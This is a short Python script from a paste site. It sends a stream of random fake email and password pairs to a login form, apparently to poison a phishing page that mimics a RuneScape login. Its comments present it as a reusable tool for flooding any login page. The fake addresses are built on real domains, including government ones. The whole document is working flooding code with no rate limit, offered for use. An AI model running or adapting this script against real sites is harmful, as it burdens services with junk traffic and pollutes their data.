· 7 years ago · Nov 17, 2018, 06:22 PM
1import requests
2import os
3import random
4import string
5import json
6
7chars = string.ascii_letters + string.digits + '!@#$%^&*()'
8
9# This is an array of email extensions; you can add whatever in here
10emails = ["outlook.com", "gmail.com", "yahoo.com", "hotmail.com", "aol.com", "icloud.com", "mail.com", "fbi.gov", "whitehouse.gov", "dhs.gov", "cbp.gov", "cbp.dhs.gov", "usss.dhs.gov", "jagex.com" , "microsoft.com", "xbox.com"]
11
12random.seed = (os.urandom(1024))
13
14# This is the URL you want to flood. Should be a login page
15url = 'http://secure.runescape.comi-s.top/m=weblogin/a=13/loginform534,487,898,98498898,1995'
16
17names = json.loads(open('names.json').read())
18
19random.shuffle(names)
20
21n = 0
22
23for name in names:
24 name_extra = ''.join(random.choice(string.digits))
25
26 username = name.lower() + name_extra + '@' + random.choice(emails)
27 password = ''.join(random.choice(chars) for i in range(8))
28
29 r = requests.post(url, allow_redirects=False, data={
30 'username': username,
31 'password': password
32 })
33
34 n += 1
35
36 print ("%s. Sending username %s and password %s. Response: %s" % (n, username, password, r.status_code))